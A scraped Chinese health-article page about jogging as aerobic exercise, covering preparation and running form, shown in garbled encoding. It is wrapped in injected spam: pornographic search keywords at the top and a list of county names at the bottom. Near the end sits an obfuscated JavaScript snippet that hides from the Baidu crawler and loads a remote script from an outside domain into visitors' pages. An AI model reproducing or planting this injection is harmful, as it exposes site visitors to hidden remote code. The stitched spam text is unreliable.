亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

慢跑是有氧運(yùn)動(dòng)

2017-04-14 21:31:34  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:慢跑是一種最簡(jiǎn)單的運(yùn)動(dòng)項(xiàng)目,只要掌握要領(lǐng),每個(gè)人都能跑好,它不需要用任何技巧去完成這個(gè)過程,只要大家能夠有堅(jiān)持下來的決心就行。慢跑

慢跑是一種最簡(jiǎn)單的運(yùn)動(dòng)項(xiàng)目,只要掌握要領(lǐng),每個(gè)人都能跑好,它不需要用任何技巧去完成這個(gè)過程,只要大家能夠有堅(jiān)持下來的決心就行。慢跑進(jìn)行前,準(zhǔn)備活動(dòng)是必須要做的,這樣能夠幫助運(yùn)動(dòng)順利完成。可是,準(zhǔn)備活動(dòng)有哪些?怎樣完成慢跑?

慢跑前的準(zhǔn)備工作

1.你是否有充裕的時(shí)間,一般慢跑減肥達(dá)到效果最大化,大概要到達(dá)2.5公里,而這個(gè)時(shí)間消耗大概要在半小時(shí)左右。

2.你是否有場(chǎng)地,戶外效果明顯比健身房要好。而如果家住學(xué)校、小區(qū)附近,車輛不多,空氣清新,是極好的地方,如果實(shí)在不行,健身房也是可以的。但是鬧市區(qū)還是算了,改戶外為戶內(nèi)吧。

3.你是否有一套運(yùn)動(dòng)設(shè)備。這一點(diǎn)很多人不解,但是對(duì)于減肥有效率非常重要。身體超標(biāo),在長(zhǎng)達(dá)1小時(shí)的慢跑過程中,左右腳一直要承受著身體的負(fù)荷,如果鞋子不行,很容易會(huì)造成肌肉疲勞,進(jìn)入無氧,對(duì)減肥不利。同時(shí)身上的服裝也是,過緊影響血液循環(huán),過松垮,影響體溫,降低血液循環(huán)。

4.運(yùn)動(dòng)前的狀態(tài)調(diào)節(jié),你是否充分做好了關(guān)節(jié)活動(dòng)、肌肉拉伸、能量和水分補(bǔ)充、以及心情的放松,壓力的緩解。

除了準(zhǔn)備活動(dòng)之外,慢跑時(shí)注意:

1.兩腿交替,腿盡量抬高、步伐盡量跨大,不能前腳拖后腳,因?yàn)閺墓Φ南膩碇v,上下的消耗比水平的消耗要高很多,所以要想有效果,就盡量將腳抬高。

2.甩臂扭腰,在跑的過程中,頭不動(dòng),手臂時(shí)不時(shí)的需要前后左右對(duì)打幅度的擺動(dòng),同時(shí)跑步過程中也要注意不停的扭腰,讓腰部也動(dòng)起來。

如果大家在慢跑之前沒有做好準(zhǔn)備活動(dòng),這樣是不利于慢跑進(jìn)行的,可能會(huì)出現(xiàn)某些意外。因此,大家一定要選好場(chǎng)地,調(diào)整好自己的狀態(tài)。再者,慢跑過程中也有很多注意事項(xiàng),這都是為保護(hù)運(yùn)動(dòng)者不受傷害準(zhǔn)備的。待萬事俱備之后,慢跑就能順利完成。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
紫金县| 上林县| 嫩江县| 柳河县| 合山市| 江山市| 万源市| 高雄市| 桃江县| 唐山市| 西峡县| 蓝田县| 田林县| 田阳县| 麻江县| 高密市| 乌拉特前旗| 嘉荫县| 兰溪市| 台南市| 涿鹿县| 闵行区| 洪湖市| 楚雄市| 祁连县| 健康| 甘南县| 辉县市| 长沙市| 西贡区| 托克逊县| 贵州省| 武定县| 新野县| 克什克腾旗| 韶关市| 慈利县| 孙吴县| 深泽县| 万源市| 闽清县|